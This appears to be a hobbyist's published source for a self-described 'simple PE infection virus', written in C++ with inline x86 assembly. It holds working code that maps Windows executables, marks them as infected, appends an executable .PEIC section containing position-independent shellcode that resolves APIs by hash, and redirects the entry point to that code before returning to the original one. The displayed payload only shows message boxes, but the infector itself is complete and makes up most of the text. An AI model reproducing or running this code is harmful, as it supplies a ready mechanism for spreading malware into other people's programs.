簡単なPE感染ウイルスです


/*----------2015-09-28 Update ----------*/
shellcodeマルチスレッドを実行する
CreateThread関数を使用してサブスレッドを開く
サブスレッドは新しいスタックを開き、新しいスタックと関数の検索が必要です.
#pragma region shellcode
	__asm{
		
		/*-----ShellCode   ------*/
		shellStart: 
			nop
			nop
			nop
			nop
			nop
			CLD					; clear flag DF
		
		;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			//push 0x4fd18963		;hash of ExitProcess
			push 0x2729f8bb		;hash of CreateThread
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 


		; make some stack space
			xor ebx,ebx
			mov bh, 0x04 			 
			sub esp, ebx 
			
		
		; push a pointer to "user32" onto stack 
			mov bx, 0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list         
			mov ecx,[ecx]                  ; ---win7    
			mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll
			
						
		find_lib_functions: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions 
			xchg eax, ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax, ebp 			; restore current hash, and update ebp 
									; with base address of user32.dll 
			
			//           
		find_functions: 
			pushad 						; preserve registers 
			mov eax, [ebp + 0x3c]		; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx, ebp 				; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx, ebp 				; ebx = absolute addr of names table 
			xor edi, edi 				; edi will count through the functions 


			//             
		next_function_loop: 
			inc edi 					; increment function counter 
			mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi, ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			

			//         hash  
		hash_loop: 
			movsx eax, byte ptr[esi]
			cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop


		compare_hash:	
			cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop 
			
		 
			mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx, ebp 				; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx, ebp 				; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax, ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad						; restore registers 
					 					; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 


		CreateThread_call:
			call reset
		reset:
			pop ebx
			sub ebx,offset reset
			lea eax, [ebx + MessageBox_call]
			
			xor ebx,ebx
			
			push ebx
			push ebx			 
			push ebx
			push eax
			push ebx     
			push ebx
			call [edi-0x08]		

			xor ebx,ebx
			push ebx			 // cut string '\0'
			push 0x21
			push 0xa7cbc3ba
			push 0xdac0c2ba      //push     !
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0		 //push   QQ

			mov eax,esp			 //load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04]		;//call MessageboxA
			
//-----------------------------------------------------------------//
		/*-------ShellCode   --------*/
		MessageBox_call:
			nop
			nop
			nop
			nop
			nop
			CLD					; clear flag DF
		;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			//push 0x4fd18963		;hash of ExitProcess
			push 0x2729f8bb		;hash of CreateThread
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 

	
		; make some stack space
			xor ebx,ebx
			mov bh, 0x04 			 
			sub esp, ebx 
			
		
		; push a pointer to "user32" onto stack 
			mov bx, 0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list         
			mov ecx,[ecx]                  ; ---win7    
			mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll
			
						
		find_lib_functions2: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions2 
			xchg eax, ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax, ebp 			; restore current hash, and update ebp 
									; with base address of user32.dll 
			
			//           
		find_functions2: 
			pushad 						; preserve registers 
			mov eax, [ebp + 0x3c]		; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx, ebp 				; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx, ebp 				; ebx = absolute addr of names table 
			xor edi, edi 				; edi will count through the functions 


			//             
		next_function_loop2: 
			inc edi 					; increment function counter 
			mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi, ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			

			//         hash  
		hash_loop2: 
			movsx eax, byte ptr[esi]
			cmp al,ah
			jz compare_hash2
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop2

		compare_hash2:	
			cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop2 
			
		 
			mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx, ebp 				; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx, ebp 				; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax, ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad						; restore registers 
					 					; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions2 
			

			xor ebx,ebx
			push ebx			// cut string
			push 0x21
			push 0xa7cbfcb8
			push 0xf1c9c2d5      //push     !
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0

			mov eax,esp			//load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04] ;	//call MessageboxA
			//push ebx
			//call [edi - 0x08] ; // call ExitProcess
			
			nop
			nop
		    mov eax,0x12345678		;//    ,  PE       
            jmp eax
	}

/-------
新しいセクションテーブルを開くことでshellcodeを配置
PEエントリポイントをshellcodeに変更し、shellcodeで元のPEエントリポイントに戻るように設定します.
2015-09-20       peic
PEファイル形式参考資料:
http://bbs.pediy.com/showthread.php?t=21932
----------/
/***
	              ,     
	       PE  
	        
	      
	2015.9.21		peic
***/


#pragma once
#include <Windows.h>
#include <stdio.h>
#include <assert.h>
#include <iostream>
using namespace std;

#define _MAX_PATH_ 100
#define INFECT_FLAG 0x1301C06		//19930118
char Location[_MAX_PATH_] = "d:\\Users\\Itachi\\Desktop\\PE";


//      
DWORD Align(DWORD size, DWORD Alignment)
{
	//Alignment   0
	assert(0 != Alignment);
	if(size % Alignment)
	{
		//size             Alignment    ,              
		//  :Alignment = 0100h = 4KB
		//  :Alignment = 200h = 512B
		size = (size / Alignment + 1) * Alignment;
	}
	return size;
}



//  、      ,  PE     
// PE              
//PIMAGE_DOS_HEADER _IMAGE_DOS_HEADER        
//        PIMAGE_DOS_HEADER         ,&                   
BOOL SetInfectFlag(PIMAGE_DOS_HEADER &pDosHeader)
{
	if(*(DWORD*)pDosHeader->e_res2 == INFECT_FLAG)
	{
		printf("This PE file has been infected!
"); return FALSE; // } else { *(DWORD*)pDosHeader->e_res2 = INFECT_FLAG; return TRUE; // } } // PE , OpenFile lpMemory BOOL IsPeFile(LPVOID lpMemory) { // DOS MZ IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpMemory; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { printf("This file is not a PE file !
"); return FALSE; } // NT PE IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)lpMemory + pDosHeader->e_lfanew); if(pNtHeader->Signature != IMAGE_NT_SIGNATURE) { printf("This file is not a PE file !
"); return FALSE; } return TRUE; } // void CloseAll(LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpMemory); } // , ( ) // :lpMemory BOOL OpenFile(char* szPath, LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap) { // , hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { printf("Can not open the file, ErrorCode = %d
",GetLastError()); UnmapViewOfFile(lpMemory); return FALSE; } // , , hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); if(!hMap) { printf("Can not created the file's MapObject! ErrorCode = %d
", GetLastError()); UnmapViewOfFile(lpMemory); CloseHandle(hFile); return FALSE; } // lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL); if(!lpMemory) { printf("Can not Map the file to Memory! ErrorCode = %d
", GetLastError()); UnmapViewOfFile(lpMemory); CloseHandle(hFile); CloseHandle(hMap); return FALSE; } return TRUE; } // PE void InfectPE(char *szPath) { LPVOID lpMemory; HANDLE hFile; HANDLE hMap; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_DOS_HEADER pDosHeader; #pragma region perpare // if(!OpenFile(szPath, lpMemory, hFile,hMap)) { return; } pDosHeader = (PIMAGE_DOS_HEADER)lpMemory; // PE if(!IsPeFile(lpMemory)) { CloseAll(lpMemory,hFile,hMap); return; } pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader->e_lfanew + *(DWORD*)&pDosHeader); // , if(!SetInfectFlag(pDosHeader)) { return; } // if((pNtHeader->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeader->OptionalHeader.SizeOfHeaders) { CloseAll(lpMemory,hFile,hMap); return; } #pragma endregion // PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHeader + sizeof(IMAGE_NT_HEADERS32)); PIMAGE_SECTION_HEADER pNewSecHeader = (PIMAGE_SECTION_HEADER)(pSecHeader + pNtHeader->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pLastSecHeader = (PIMAGE_SECTION_HEADER)(pNewSecHeader - 1); /*** -------- !!!!------------*** // PE DWORD index; // DWORD size = pSecHeader->PointerToRawData; for (index = 0; index < pNtHeader->FileHeader.NumberOfSections; index++) { size += Align(pSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment); } // if(size != GetFileSize(hFile, 0)) { return; } */ /* shellcode*/ goto shellEnd; #pragma region shellcode __asm{ shellStart: nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx,[ecx] ; ---win7 mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax, byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx // cut string '\0' push 0x21 push 0xa7cbc3ba push 0xdac0c2ba //push ! push ebx push 0x5151 push 0xd4d7b4c0 //push QQ mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ;//call MessageboxA xor ebx,ebx push ebx // cut string push 0x21 push 0xa7cbfcb8 push 0xf1c9c2d5 //push ! push ebx push 0x5151 push 0xd4d7b4c0 mov eax,esp //load address of failwest push ebx push eax add eax,12 push eax push ebx call [edi-0x04] ; //call MessageboxA //push ebx //call [edi - 0x08] ; // call ExitProcess nop nop mov eax,0x12345678 ;// , PE jmp eax } #pragma endregion shellEnd: PBYTE* pShell; DWORD nShellLen; __asm { lea eax,shellStart mov pShell,eax lea ebx,shellEnd sub ebx,eax mov nShellLen,ebx } /*-------- -------------*/ memcpy(pNewSecHeader->Name, ".PEIC", 5); // pNewSecHeader->PointerToRawData = pLastSecHeader->PointerToRawData + Align(pLastSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment); // pNewSecHeader->VirtualAddress = pLastSecHeader->VirtualAddress + Align(pLastSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment); // DWORD dwPayLoadSize = nShellLen; pNewSecHeader->Misc.VirtualSize = dwPayLoadSize; pNewSecHeader->SizeOfRawData = Align(dwPayLoadSize, pNtHeader->OptionalHeader.FileAlignment); // pNewSecHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; // 1 pNtHeader->FileHeader.NumberOfSections += 1; // PE // PE pNtHeader->OptionalHeader.SizeOfCode += Align(pNewSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.FileAlignment); pNtHeader->OptionalHeader.SizeOfImage += Align(pNewSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.SectionAlignment); // pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; // PE DWORD dwSize = 0; DWORD pFile = 0; // // pFile = SetFilePointer(hFile, 0, 0, FILE_END); // WriteFile(hFile, pShell, nShellLen, &dwSize, NULL); // , dwSize /*---- PE ---*/ pFile = SetFilePointer(hFile, -6, 0, FILE_CURRENT); // shellcode , PE DWORD dwOldEntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase; WriteFile(hFile, &dwOldEntryPoint, 4, &dwSize, NULL); // PBYTE pByte = (PBYTE)malloc(pNewSecHeader->SizeOfRawData-nShellLen); ZeroMemory(pByte, pNewSecHeader->SizeOfRawData-nShellLen); dwSize = 0; pFile = SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, pByte, pNewSecHeader->SizeOfRawData-nShellLen, &dwSize, NULL); FlushFileBuffers(hFile); free(pByte); // PE pNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSecHeader->VirtualAddress; //printf(" : %X
", pNewSecHeader->VirtualAddress); system("pause"); // FlushViewOfFile(lpMemory, pNtHeader->OptionalHeader.SizeOfHeaders); CloseAll(lpMemory,hFile,hMap); } // PE void FindFile(char *szPath) { WIN32_FIND_DATAA FindFileData; char szFileToFind[MAX_PATH] = {0}; lstrcpyA(szFileToFind, szPath); lstrcatA(szFileToFind,"\\NOTEPAD.EXE"); // HANDLE hFindFile = FindFirstFileA(szFileToFind, &FindFileData); if(hFindFile == INVALID_HANDLE_VALUE) { printf("FindFirstFileA Failed!
"); return; } do { char szNewPath[MAX_PATH] = {0}; lstrcpyA(szNewPath, szPath); // if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { if(!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")) {} // else { lstrcatA(szNewPath,"\\"); lstrcatA(szNewPath, FindFileData.cFileName); FindFile(szNewPath); } } // else { char szPE[MAX_PATH] = {0}; lstrcpyA(szPE,szNewPath); lstrcatA(szPE,"\\"); lstrcatA(szPE,FindFileData.cFileName); // InfectPE(szPE); } } while(FindNextFileA(hFindFile,&FindFileData)); FindClose(hFindFile); } int main() { FindFile(Location); return 0; }